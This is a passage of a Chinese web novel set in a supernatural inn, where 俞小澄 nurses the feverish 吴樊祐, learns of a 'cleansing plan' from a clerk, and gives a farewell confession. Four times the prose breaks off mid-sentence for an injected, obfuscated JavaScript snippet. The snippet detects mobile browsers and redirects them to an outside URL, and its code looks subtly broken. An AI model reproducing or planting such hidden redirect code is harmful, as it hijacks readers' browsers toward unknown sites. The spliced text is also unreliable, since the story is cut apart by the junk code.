纹身男人劝慰着,让已婚女人节哀,阴郁男人又开始神神叨叨地聊起了阴谋论,俞小澄不想跟他们多做纠缠,悄悄转身离开了走廊。 独自一人的世界虽然孤独,却也难得清静,她悠闲地吃完喜欢的早点,倚在休息活动区的懒人沙发上看看漫画,静静等待时间一点点过去。 或许九点过后,这世界就彻底只剩她一人了。 今后又该干什么呢? 将恨意消除后,她活在旅店的意义还剩什么呢? 俞小澄茫然了,感觉突然找不到活着的目标。 没有朋友,也没有敌人,终日浑浑噩噩地与恶灵周旋,看新来的住客挣扎在生死一线? 又或者,消灭所有恶灵和住客,毁掉穷途旅店? 突然失去方向的俞小澄,感觉心中无比空虚。 竟又想起吴樊祐来,至少有个人让她恨着也挺好,至少活着还有方向。 俞小澄从懒人沙发上一跃而起,手表上的时间显示8点53分,一种莫名的恐惧推着她往楼下跑去。 三步并作两步下了楼,她径直冲回了吴樊祐所在的房间,推门而入,那个失去意识的人和她离开时并无二致,依然躺在被窝中,呼吸有些沉,高烧使两颊绯红。 “喂,起来,再不起来我可真把你扔在这儿了!” 她试图叫醒那个看似熟睡中的人,可惜对方根本没有反应,嘴里嘟嘟囔囔不知在念叨着什么,她就算将耳朵凑到唇边,也听不出那些似乎没有意义的音符。 时间来不及了,俞小澄一把将被子掀开,拉起吴樊祐的手,绕过自己的肩,试图将人扛起来。 可惜,就他二人的体格差而言,这显然不是一件轻易能做到的事。 就算她耗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724424|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽力气,也未能将吴樊祐从床上挪动分毫。 “这下好了,害人终害己,这不是骗人的……” 俞小澄自嘲着,筋疲力尽地跌坐在床边。 眼看时间即将进入倒数,摆在俞小澄面前的似乎只有两个选择:要么扔下吴樊祐,让其自生自灭,权当作报复;要么留在房中,与吴樊祐一起化作尘土,权当作自我解脱。 就在她站起身,脚步停滞,不知是去是留时,一个人影恰在此时冲了进来,一脸诧异地问俞小澄打算做什么。 来人正是纹身男,方才透过餐厅玻璃见俞小澄慌张下楼,担心发生了什么不好的事,于是跟着下了楼。 俞小澄仿佛在漆黑的山谷中看到了一束火光,原本艰难的选择似乎又增加了一条路,她指了指床上紧闭着双眼的吴樊祐,急道:“帮我把他搬出去。” “什么?”纹身男一头雾水,当场愣住。 俞小澄再次拽着吴樊祐胳膊,试图让人拉起来,嘴里喊道:“来不及了,快!” 纹身男虽不明白俞小澄在急什么,还是顺从地搭了把手,迅速将吴樊祐往背上一捞,跟着俞小澄冲出了房间。 就在二人双脚踏出房门的瞬间,二楼的所有房间都在此刻消失无踪,整个走廊陡然变化。 浅色的壁纸,深色的地毯,在尽头全身镜的装点下,这条长长的走廊看上去好像没有尽头,走廊两边是光秃秃的墙壁,没有一扇门,不带一扇窗,气氛又变得诡异起来。 纹身男虽说昨日也见过这条走廊上没有房间,可亲眼目睹整条走廊的改变,身临其境,还是让他起了一身鸡皮疙瘩。 如果方才他们晚一步离开房间,不知道结果会如何。 站在走廊里半晌才缓过劲儿,纹身男此刻才注意到背上背着的人一点意识都没有,活像一只任人摆布的沙袋。 “这家伙怎么了?”他疑惑地问道。 俞小澄摇了摇头,道:“不知道,也许昨晚落水着凉了?” “那他身体还真是柔弱,你一个女孩子都没事,他一个大男人……” 俞小澄一想到如果这些话让吴樊祐听到,不知道能把他气成啥样,就觉得异常好笑。 可笑过以后,心中不免生出些担忧,吴樊祐的样子看上去不同寻常,往日里他们受了再重的伤,在旅店里睡上一觉,都会恢复个七七八八,如今为何一个小小的发烧感冒都无法治好了呢? 带着这样的疑问,俞小澄让纹身男帮忙,将吴樊祐背到了一楼大厅。 纹身男将吴樊祐放倒在沙发上,用手试了试体温,只觉有些烫手,加上彻底失去意识,可见病得不轻。 “这地方也没医生啊,怎么办?”纹身男问。 “等到下午2点,前台可以用金币兑换物资,届时我换点退烧药,希望有用吧。”俞小澄也顾不上装傻,如此安慰道。 随后她去三楼找到了毛巾与冰块,暂时用来降温,避免因为高烧不退而把人给烧傻。 一边用包着冰块的毛巾给吴樊祐降温,俞小澄一边暗骂着自己多管闲事,如果直接把吴樊祐留在房间里,自己哪儿来这么多麻烦。 终究,她还是害怕孤单,害怕从此只剩下自己一个人吧。 170. 窥一斑 说起来,昨晚吴樊祐的状态就有些不对劲,她陡然回想起吴樊祐睡前奇怪的话语——“不用你动手,我已经没有时间了,别恨我。” 当时她问吴樊祐,什么叫没时间了,可吴樊祐以困了为由,将这个问题敷衍了过去。 或许吴樊祐清楚地意识到自己病了?连在旅店里休息都不会恢复的那种? 此刻看着迷迷糊糊沉睡的人,她也没法问出原由,只求时间能过快些,而兑换的退烧药多少能起到点作用。 如果不行,不知道能不能兑换一间医院…… 俞小澄的思绪漫无边际地乱飞,一边照顾着病人,一边与纹身男闲聊。 此前她从未问起过纹身男的名字,在她看来,这些来到穷途旅店的住客,终会在梦境中死去,不是今天,就是明天,实在没有必要为了这短暂的相处而记住一个过客的名字。 这是她在穷途旅店住了五天五夜后得出的结论,有多少人与她相识,又有多少人在她面前死去,她实在懒得去回想。 那些或多或少在她记忆深处留下印象的人,最终都成了她心中无法言明的痛,留下一道道深浅不一的伤痕。 此时她又与这个一同经历了一场梦境的陌生人互道了姓名,得知对方叫范正昂。 对方向她询问了关于记忆之门的事,她轻描淡写地将其描述为离开旅店回归原本生活的捷径,却并未告知,至今每个走入记忆之门的住客,最终都落到沦为恶灵的下场。 何必将这唯一的希望之火掐灭呢? 她其实并不希望每个人都跟她一样活得绝望,即便他们所有人都是带着罪孽来到穷途旅店,完成一场赎罪旅程,并大概率都会以失败告终,从此,要么永远被禁锢在旅店中,要么彻底消失于世。 这样沉重的事实,她没能说出口。 范正昂犹豫了许久,最终开口问道:“你学弟好像不是什么好人,你又为何要救他呢?” 在他看来,吴樊祐在游泳馆对他们下死手,而在俞小澄的故事中,他还是个想要除掉所有知情人,利用信息差占据优势,并让所有玩家送死的天生恶种。 这样的人,自然没有拯救的必要了。 俞小澄一时不知道说什么好,在放过吴樊祐这件事上,她比任何人都更困惑。 她应该比任何人都更恨吴樊祐,却总在最关键的时刻心软,这让她矛盾不已。 或许是因为记忆中的吴樊祐不是这个样子的,那些不知是否美化过的记忆总会在不经意之间掐灭她心中的怒火,拽出她的理智,劝她收手。 仿佛有个声音在警告她:你不是这样的人,快回头。 “呵呵,可能,也许,就是说,他虽然不是什么好人,但我是吧。”俞小澄苦笑着回应,成功打消了范正昂继续追问的想法。 这理由,可能最能让他理解和接受。 从短短一日的相处中,俞小澄感觉范正昂这个人并没有他外面看上去那么粗犷,身上的纹身让他看上去特立独行,但实际上他的为人处事并未逃脱条条框框,这种反差感十分强烈。 时间在二人的交谈中一分一秒过去,当十点的钟声敲响,旅店迎来了今日的新住客。 一男一女自门外的白光中走来,女的奇装异服,男的“聪明绝顶”,二人年纪大约四十来岁,一见面就相互寒暄起来,看上去似乎相识。 “庞大师?” “汤神婆?” “您来给人看风水?” “您能来,难道这里有鬼?” 二人你一言我一语,决计不让话掉地上,不过显然谁也不知道自己怎么会莫名其妙出现在这家旅店里。 很快,二人便注意到沙发这边的三人,脸上堆着笑,自来熟地来找三人询问情况。 俞小澄并不想理会这两个陌生人,只有范正昂客气地有问必答。 听了范正昂浅显的解释,汤神婆尖着嗓子喊道:“啧啧啧,我们这是掉进阴阳界了啊!” “哦,那可是您擅长的领域,不如帮大家指明一条生路。”庞大师奉承道。 “这个嘛,还得听听上天的旨意。”汤神婆故弄玄虚回道。 这两人看上去神神叨叨,一个似乎是灵媒,另一个好像是风水大师,一开口便是装神弄鬼那一套。 俞小澄借口去三楼换点冰,不欲听这二人瞎逼逼,谁知刚起身,那二人就将视线锁定在了昏迷中的吴樊祐身上。 汤神婆:“哎呀,这小兄弟莫不是中了邪?” 庞大师:“汤神婆,您可得帮衬帮衬。” 二人一唱一和,演着不知哪一出戏,看得俞小澄直皱眉,实在忍不住扫了他二人的兴,道:“他这是受了风寒,感冒发烧。” 汤神婆眼神犀利地瞥了俞小澄一眼,仿佛在骂俞小澄晦气,而后强词夺理道:“女娃娃分不清中邪还是风寒也正常,你看这小兄弟已经没了意识,明显就是被邪祟沾了身,丢了魂儿。” 汤神婆说着就从兜里掏出一张黄符,递给俞小澄,说:“将这符纸烧成灰,兑上半碗凉水,喂这小兄弟喝下去,保管明日就好利索。” 俞小澄没想到在穷途旅店里还能遇上坑蒙拐骗的勾当,白眼险些要翻上天。 “不用了,神婆不如留给自个儿,这里啊,晚上有脏东西。”俞小澄有意吓唬,故作担惊受怕的模样,压低声音冲二人说道。 经她这么一说,汤神婆果然被唬住,尴尬地笑了笑,慢悠悠地将黄符收回了衣兜,还略带一丝惊恐地问俞小澄:“这里当真有不干净的东西?” “昂!神婆进门时没感受到吗?”俞小澄装出一脸质疑。 汤神婆咳嗽一声,强行找补:“咳,你不是说这里晚上有脏东西嘛,大白天肯定都藏起来了,没感受就对咯!是吧,庞大师?” 庞大师立马附和:“对,就是这个理,我一进来就觉得这间旅店风水不好,等见到旅店的主人,我得好好教他改改风水,转转运,否则迟早会亏本儿。” 对这两个骗子,俞小澄无话可说,指了指楼上,将二人引去骚扰别的住客。 俞小澄只希望今晚别跟这两人选相同梦境,最好能让他二人明日再无影踪。 一直等到下午2点,前台服务终于出现,大厅内除了昏迷不醒的吴樊祐,也就只有俞小澄与范正昂。 俞小澄让范正昂照顾吴樊祐,自己则带着金币走到了柜台前。 西装革履的三号客服带着格式化的微笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728569|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见俞小澄,便说出那句毫无新意的台词:“各位贵宾下午好,三号客服为您服务,兑换道具盲盒靠右,咨询客服靠左,请排队等候。” 俞小澄掂量着手里这珍贵的四枚金币,她心中有太多疑问,可又需要给吴樊祐兑换退烧药,一时有种捉襟见肘的味道。 因为担心兑换了退烧药又起不到作用,她仔细思考着该如何将这四枚金币用到刀刃上。 她不确定如果自己向三号客服打听吴樊祐得了什么病,三号客服是否能给予明确的反馈。 太多不确定,她只能赌一把,于是在兑换退烧药前,她向咨询处木箱中投入一枚金币,问客服:“我要如何让吴樊祐恢复正常?” 三号客服远远望了吴樊祐一眼,答:“管理者权限已经启动旅店清洗计划,非住客即将被清理出旅店,指令不撤回,非住客无法恢复正常。” 一瞬间,俞小澄感觉海量信息涌入大脑,她不得不细细揣摩。 按照三号客服的说法,吴樊祐根本就不是旅店的住客,是否也印证了他是旅店管理者派来的卧底呢? 可这有些说不通,如果是旅店管理者派他来到旅店,又怎么会试图将他清除呢? 所以,吴樊祐说的某些话可能是真的,他的确与穷途旅店有关系,却是出于个人目的进入了穷途旅店,而此行的目的隐瞒了管理者,如今恐怕是被发现,所以强行开启了清洗计划。 如果真是这样,她要如何与权力滔天的管理者争斗? 她根本救不了吴樊祐。 如果吴樊祐真的是以个人目的进入穷途旅店,那他会不会没有骗她? 他真的只是想让她离开穷途旅店吗? 可是他做出的行为,除了那些可谓盲目的信任外,更多的是想置她于死地,这才是让俞小澄最感觉违和的地方。 这两件事的逻辑根本不能自洽,所以俞小澄才始终无法相信吴樊祐的话。 可如果这两件事不冲突呢? 一个可怕的念头从大脑中一闪而过,她默默将一枚金币投进了木箱中,问:“住客在梦境中死亡,会出现什么结果?” 三号客服扬起嘴角笑了起来,仿佛等了这个问题很久,郑重回答:“死亡,是对有罪者的惩罚,只有接受了惩罚的人,才有资格在记忆中重新接受审判,若审判结果合格,则离开穷途旅店,若不合格,则被驱出旅店,沦为恶灵。” 整个旅店的体系如同一幅清晰的画卷,在俞小澄眼前缓缓展开,一切的疑点被连成一条条线段,再勾勒出整个框架,着色成卷。 俞小澄接着交出一枚金币,继续自己的提问:“迄今为止,是否有人成功离开穷途旅店?” 三号客服的回答充满威严:“无人离开。” 这也许就是穷途旅店的全貌了,绝望到让人窒息,好像给了人希望,可到头来,一切都早已注定,没人能逃出这里,却还在为那虚无缥缈的可能性而苦苦挣扎。 吴樊祐或许是在赌一个几乎不存在的可能性,赌她能成为第一个逃出穷途旅店的住客。 最后一枚金币落入木箱,蹦跳两下后便失去了动静,俞小澄问出了最后一个问题:“清洗计划的目标,究竟是住客,还是非住客?” 171. 清洗 俞小澄的提问,难得让机器人一般的客服陷入片刻的木讷,似乎脑内没有预设谁能问出这样的问题。 沉默了一会儿,三号客服才缓缓说道:“清洗计划的目标自然是住客,非住客暂且进入冻结,等到清洗结束,非住客也将被清理出旅店。” 问答就此结束,看着俞小澄空手而归,范正昂一脸疑惑,他并不知道俞小澄跟三号客服谈论了什么,所以无法判断俞小澄什么也没带回的原因。 顶着范正昂投射来的困惑目光,俞小澄再次拍了拍吴樊祐的脸,终究未能唤醒被旅店“冻结”的人。 “放心吧,他暂时没事,只是受到旅店的影响,被困在了我们无法到达的空间,等到明日天亮,一切都会恢复正常。” 俞小澄简单几句话打消了范正昂的疑心,不过她并未将实情全盘托出。 针对住客的清洗计划会是什么呢? 她最开始以为,这清洗计划是处理像吴樊祐这样,不知用什么办法混入穷途旅店的非住客,可他终究是属于旅店那一方的人,管理者没道理对他下死手。 也正是基于此考虑,她才会将注意力从非住客转移到住客,才会问出那样的问题,而答案也证实了她的猜想。 不知出于什么目的,管理者想要对住客动手,而吴樊祐会在这场行动结束后被清理出旅店。 “你有机会离开了,你应该高兴才是。” 俞小澄看着双眼紧闭的男人,悄声自言自语。 从一开始,吴樊祐跟她就不是同路人,所以他才能如此坚信能够离开旅店,又如此瞧不上这里的住客,曾经怪异的一切都变得合理起来。 许多天来,俞小澄总算听到了一点好消息。 吴樊祐始终是她记忆中的吴樊祐,他无罪,可以回到原本的生活。 而死去的住客也没有真正死去,他们还活着,以另一种形式。 三号客服说,死亡是对他们这些有罪者的惩罚,但同时也是他们离开旅店的机会。 但三号客服还说过,迄今为止没有人成功离开旅店,这意味着,不管是白羽楠还是曾勇,都已成为恶灵,创造出属于自己的梦境,等待着新住客的光临。 “他们还活着,跟我一样,或许有一天,我能再见到他们,对吧?”俞小澄心中默念着。 既然大家已经回不去了,或许维持现状也挺好,她继续留在穷途旅店,而吴樊祐,送他离开,对二人都好。 如此心中有了决断,俞小澄拜托范正昂:“今晚选择房卡,麻烦让所有人只选雏菊房。” “这又是为何?”范正昂问。 俞小澄装出一副为了自己的安全着想,所以出于私心隐藏重要信息的模样,然后将四种房型危险指数的真相告诉了范正昂。 范正昂虽有些生气,可说到底,人都是自私的,遇到这种事,肯定都想藏私,将自己放在最安全的位置。 此时他也不由得庆幸自己昨晚运气好,在什么都不知道的情况下,意外选中了难度最低的雏菊房。 接着,范正昂对俞小澄表示了理解,没有责备的意思,只是询问她为何今天又愿意说出实情。 俞小澄伸出双手,用手指代表旅店中的住客,将现在活着的所有人算上,伸出七根手指,一脸严肃地说道:“因为今天人数刚刚好!” 范正昂一脸不解:“什么刚好?” “每种房型只有3间,能住6人,昨天人数偏多,如果我将实情说出,必定会出现争抢房卡的局面,这是你希望看到的吗?”俞小澄耐心解释道。 范正昂恍然大悟,点头称是,可再仔细一想,觉得哪里不对劲,便又问道:“今天人数不也多了吗?7个人,只有6个人能住雏菊房,让谁落单呢?” 俞小澄表情冷漠地指向了沙发上熟睡中的人,道:“今晚你帮我把他挪到幽兰房。” 范正昂用一种畏惧的眼神盯着俞小澄,咽了咽唾沫,低声询问:“虽说他是干了混账事,可他都这样了,我们也不至于落井下石吧……” 俞小澄一愣,随即明白了范正昂的想法——他认定俞小澄是想趁机报复,将人放进危险级别高的房间自生自灭。 “想啥呢?我若真要杀他,直接把他扔在大厅里,不是更省心?”俞小澄忍俊不禁。 范正昂挠着头傻笑两声,掩饰心里的尴尬,又问俞小澄如此安排究竟是何意。 “你还记不记得,昨晚那对夫妻选了幽兰房,后来因为那个有钱人作妖,最后只有夫妻中的女人进入了幽兰梦境,然后一进梦境就被宣布了胜利。”俞小澄提醒道。 经她这么一说,范正昂逐渐明白了她想表达的意思,说:“你是认为,单独一人进入幽兰梦境可以全身而退?” “对,所以我想让他单独住幽兰房,其他人都住雏菊房,毕竟以他现在的状态,跟我们一起也是累赘。”俞小澄十分冷静地说出不近人情的大实话。 不过她并没有告诉范正昂关于单人通关幽兰梦境的逻辑,如果不是已婚女人侥幸逃生,俞小澄还不知有这种通关方式。 她知道幽蓝梦境的主题是阵营,如果不消灭恶灵,最后能存活的只有其中一方阵营。没想到,其实最简单应对方式就是独自入局,那么从入局的那一刻起,这位唯一的玩家就已经成了最后的赢家。 “行!”范正昂爽快地回应。 说罢转身离开了大厅,他要提前先跟其他住客通通气,避免临到头有人不听指挥。 有范正昂这个领头人,省去俞小澄不少交涉的麻烦。 虽不知道旅店管理者打算以何种方式清洗旅店,但俞小澄已经做好了迎接一切挑战的心理准备,她绝不会让管理者如愿。 这种戒心一直持续到了晚上九点,当她看到前台整齐地摆放着两排寒梅房卡时,她终于明白,所谓的清洗就是让住客到梦境中送死。 呵呵,还真是贴心。 看来管理者并不知道俞小澄有对付恶灵的能力,可她有些想不通,将非住客清理出旅店,与针对住客的清洗计划之间到底有什么必要联系。 当她还在苦思冥想时,大厅里围在前台的住客已经炸开了锅。 “喂,不是说这是最高难度吗?” “你让我们选的雏菊在哪里?” “那些藏在暗处的人果然是想要我的命……我们逃不出去了……” “如果真这么危险,我能不能就睡大厅?” …… 范正昂已经在努力安抚众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732328|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的情绪,可惜他来旅店也不过两日,很多规则他并不知情,对于七嘴八舌的提议,他实在难以一一反驳回去。 “上一个晚上十点走出客房的人,已经被杀死了。” 一个阴郁的声音突然打断了众人的议论声,整个大厅陷入一种微妙的沉默中,众人的视线渐渐汇聚到那个说话人的身上。 说这句话的正是阴郁男人,从范正昂的口中,俞小澄听到过这个人的名字,他叫邹奕。 邹奕此时正缩着脖子,弓着背,不停咬着指甲盖,精神状态似乎有些不太稳定。 汤神婆第一个站了出来问道:“小伙子,你这话是什么意思?” “我看见了,昨天晚上,那个胖女人从打牌的房间里走出来……”邹奕战战兢兢地向众人讲述起昨晚发生的故事。 关于他口中的这个故事,俞小澄其实也目睹到一部分。 据邹奕回忆,昨晚他在床上翻来覆去睡不着,本想去餐厅拿点牛奶助眠,可刚走到门边,就听到了开门声。 他透过猫眼往外看,刚好看到微胖女人从他房门口经过,看方向,似乎是要去电梯口。 他当时觉得,可能微胖女人也是要去三楼餐厅。 邹奕这人不喜欢社交,一想到这会儿上楼定然会碰上微胖女人,他就打消了出门的念头,想着先等对方回了房间,自己再出门。 于是他一直在房门边等着,结果没过一会儿,她就听见了微胖女人的惊呼声和脚步声。 那脚步声很急,女人的身影从他门前再次一闪而过,随后他听到了拧门把手和拍门的声音,大概持续了半分钟。 那女人似乎未能成功回到房间,然后她开始挨个敲门,不知是不是神经错乱,说的话让人怎么也听不明白。 微胖女人在走廊里乱窜,邹奕本能地认为对方酒喝多了在撒酒疯,所以当女人冲到他房间,猛拍他的房门时,他并没有选择开门,只是透过门上猫眼观察着女人何时离开。 谁知女人忽然望向电梯口的方向,眼睛里充满恐惧,发出一声尖叫,跌跌撞撞地往反方向跑去。 邹奕正感奇怪,忽然,一个眼睛冒着绿光的黑影从他门前一闪而过,追着女人逃离的方向而去。 片刻后,邹奕听到一声瘆人的惨叫,走廊里倏然安静下来。 然后,微胖女人再次出现在邹奕的可视范围内,只见她被一只黑气森森的手掐着脖子高高举起,双眼充血,死相狰狞,手脚无力地垂着,彻底没有生机。 而那团眼睛冒着绿光的黑影,就这么单手轻松举起微胖女人的尸体,仿佛游街示众一般,慢悠悠从他门前路过,最后消失在视野里。 邹奕被吓得踉踉跄跄跑回床上,整个人藏进被子里,心有余悸,颤抖不已。 “晚上十点后离开房间,就会遭到杀人魔的袭击!”邹奕断言。 经过他这番描述,原本还想在大厅过夜的新住客立刻打消了念头。 俞小澄没想到有人昨晚亲眼目睹了微胖女人受害的过程,当时她也听到微胖女人敲门,还差点开门查看,最终被吴樊祐阻止。 那个杀死住客的黑影是什么东西呢? 如果她当时开了门,是不是也会沦为黑影的击杀目标呢? 172. 告白 借着邹奕故事带来的震慑效果,范正昂赶紧让所有住客拿上房卡回房,在他看来,事已至此,退无可退,只能走一步看一步。 虽然范正昂根据俞小澄的说明,明确向众人传达了梦境有四种难度,其中雏菊最简单,寒梅最困难这样的信息,但对于只经历了一场或者初来乍到的人来说,并没有什么实感。 比如那个已婚女人,昨晚经历的梦境虽说被称作高难度,可还没开始就结束了,让人根本感觉不到难度所在。 正因如此,已婚女人基本与新来那两人一样,对范正昂的话保留了怀疑,唯一不同的是,她知道旅店中潜藏着危险,毕竟经过一夜,她成功失去了跟她貌合神离的丈夫。 面对范正昂的劝说,几位住客表现各异,有人不屑一顾,有人觉得危言耸听,也有人焦虑不安,唯一统一的态度是没人对回房提出异议,邹奕讲的故事给这些人带来了或多或少的心理压力。 等其他住客都离开后,俞小澄无奈地拿起一张房卡,回头望向沙发上仍然不省人事的吴樊祐,心中五味杂陈。 “情况有变,你学弟该怎么办?”范正昂关切地问。 这个问题确实让俞小澄难办,她不敢留吴樊祐在房间外,就算他不属于住客群体,可违反旅店规定绝对不会有什么好结果,这一点她深信不疑。 俞小澄忽然回想起昨晚入睡前,吴樊祐阻止自己离开房间,当时他的态度非常坚决,明明在梦境中能轻易将她送到死神手里的人,在那个时候却像是突然良心发现一般,阻止她开门。 当时吴樊祐坚称:“梦境里与旅店不一样,旅店的规则决不能违反!” 如果说梦境中的死亡是对有罪者的惩罚,是不是意味着旅店中的死亡将是纯粹的终结呢? 所以,吴樊祐总想在梦境中捣乱,却阻止她违反旅店的规则。 若真是如此,那她便不能将吴樊祐留在房间外,否则,吴樊祐可能再也走不出旅店了。 “没办法了,可以帮我把他背到我的房间吗?”俞小澄思来想去,最终拜托范正昂。 范正昂犹豫道:“你确定?他这状态进入梦境,和送死有什么区别?” “我知道,但我只能赌一把。” “赌?赌什么?” “赌旅店的影响无法触及梦境,兴许他能醒过来?” 俞小澄并不确定,但的确有这种可能性。 梦境是被旅店驱逐的恶灵创造而成,如果旅店能完全控制梦境,又怎么会特意创造出消灭恶灵的规则呢? 她记得二号客服曾说过,消灭恶灵的规则属于旅店规则,是旅店的防御机制。 曾经俞小澄以为消灭恶灵的规则是旅店为了保护住客,偷偷隐藏了反制恶灵的手段。 其实不然,这种手段真就字面意思,是旅店控制恶灵和梦境的手段。 因此,俞小澄对此产生一种想法,可能对非住客的冻结影响,在梦境中会减弱,或者消除。 如今,她也只能尝试了。 见她态度坚决,范正昂也不再多说什么,转身走到吴樊祐面前,将人拉起,背到背上。 在去往二楼的路上,俞小澄叮嘱道:“如果能找到记忆之门,你就赶紧离开吧,只有一次机会,别让人抢了先机。” “你呢?”范正昂反问。 “我还有想见的人,暂时不能走这条路。”俞小澄平静地回答。 她没有告诉范正昂,即便利用记忆之门,他大概率也出不去了,不过总比通过死亡走上那条必经路少些痛苦。 范正昂并不懂俞小澄的想法,但表示尊重。 在范正昂的帮助下,昏睡的人被重新送回了客房中。 房中少了吴樊祐的聒噪,显得异常冷清,大概是俞小澄已经习惯了夜晚睡前有人聊天,不管是吴樊祐,还是白羽楠。 “如果今夜平安度过,如果明天你顺利离开,我好像都应该尽快重新适应吧。” 俞小澄对着不会给予回应的人如此说道,更像是自己与自己的对话,纯粹想给冷清的房间增加点人气罢了。 她起身到卫生间取来一张毛巾,用冷水浸湿又拧干,叠成块状,搭在吴樊祐额头充当降温手段。 烧得双颊通红的吴樊祐依然时不时张张嘴,嘟囔些听不清的词句。 见他嘴唇干涸,俞小澄又无奈起身拿来瓶装水,艰难将人扶起,为吴樊祐补充了点水分。 她可不希望就这么烧到明天天亮,等吴樊祐回归现实生活时,脑子都被烧傻了。 照顾病人实在累得够呛,将人重新放倒在床上,俞小澄筋疲力尽地躺回自己床上,嘴里自言自语: “等你回去后,还会不会记得这里发生的事?管理者会不会像对付恶灵一样,消除你在旅店中的记忆呢?” “如果可以,我倒希望你记住是我留了你一条狗命,这样兴许你能多记我些时候。” “既然小白还没死,那我便暂且改变一下生存模式,多经历几场梦境,希望某天能再遇小白。” “她大概不记得我了吧?就像张尧一样。” “说不定我都认不出梦境中小白的模样,那可就糟糕了。” “不管怎么说,至少还有希望,对吧?” 安静的房间里,只有俞小澄一个人自言自语,虽等不到回应,可她乐此不疲,就好像真的跟朋友在聊天,你来我往。 或许,她心里明白,这大概率是她与吴樊祐的最后一晚。 如果她不幸未能走出梦境,她也会成为恶灵,永远留在穷途旅店,直到被新来的住客消灭。 倘若她没让管理者的清洗计划得逞,醒来之时,她应该也见不到吴樊祐了。 临到告别时,话便难免多了些。 何况对面的人陷入昏睡,不会说出任何扫兴的话,总算没法惹她生气,而只做个乖巧的聆听者,俞小澄便将积压在心里的话,像倾倒苦水一般,全都发泄出来。 “若我不幸沦为恶灵,你猜我会编织怎样的梦境?应该比其他人更能折磨住客吧?毕竟,我其实挺强的,对吧?” “好像有些矛盾了,这么强的我应该很难被恶灵击败吧,我可是拥有守护神的人。” 说话间,俞小澄的手又下意识地伸进衣兜,再次确认招财进宝的陶瓷娃娃还在里面,然后便会多几分信心,对于梦境也就没有那么恐惧了。 “说来好笑,在被困自习室的那个晚上,我做了个奇怪的梦,我以为那就是我想要的生活,没有压力,没有嘲笑,平淡,却不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736785|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考太多。” “可是有些东西,即便自己认为已经放下了,却终究是自我欺骗。” “在那里,一切记忆被改写,按照我希望的方式发展,大学毕业的那一天,我没有因为看到有人跟你告白而退缩,而我的告白也得到回应,最后我们走到了一起。” “如果你说的喜欢是真的该多好,如果喜欢两个字你是在四年前跟我说该多好……” “大概有些东西,一旦错过了时机,就怎么也走不回那条可能的时间线了吧。” “这样其实也挺好,我就当你说的话都是真的吧。” “吴樊祐,我也在漫长的时间里,喜欢过你。” “今后,你我都该放下了,回到属于自己的道路。” “我们终究不是一路人,就像现在这样,我是住客,而你不是。” “我原谅你了,所以,你不用为我留在旅店了,就这么道别吧。” “那个世界,我已经回不去了,没有人在等我了。” “我好像在梦境中看到了我遗失的记忆,但是我逃跑了,那份记忆太重,我恐怕无法承受,所以,我恐怕没法回应你的相信。” “到此为止吧……” “如果你没有在梦境中苏醒,这就是我们最后的道别了。” “吴樊祐,再见。” 俞小澄从没说过这么多话,感觉仿佛想将埋藏了八年的话一次性倾诉干净,可许多感情错过了最合适的时间,最终都会化成一份无法用语言再表达的记忆,融进生命中,伴随她走完一生。 太多的话到嘴边只化作一声叹息,多说无益,不说遗憾,这便是人生。 她总会幻想如果当初如何,可当她开始幻想的时候,就表明一切已经结束了。 因为有遗憾,才会念念不忘。 或许她的故事已经比大多数有缘无分的故事好太多,至少在最后,她听到了她暗恋的男生对她说喜欢两个字,不管出自真心,还是出于同情,她且当这是在为这段从未开始的感情画上了一个句点。 从此,她可以圆满地将这份记忆封存,也许还有遗憾,但也可以释然。 俞小澄躺在床上,闭着眼,无所顾忌地念叨着藏在心中的那些话,因为知道不会得到任何回应,所以才会坦然。 房间中,只剩一个人的喋喋不休,直到夜深,困意袭来,将嘴里的呢喃模糊成睡梦中的呓语,这段不知是告白还是告别的话语终于迎来了终结。 俞小澄渐渐沉入梦境中,当她猛然睁开眼睛时,依然还睡在床上,可已经不在客房中。 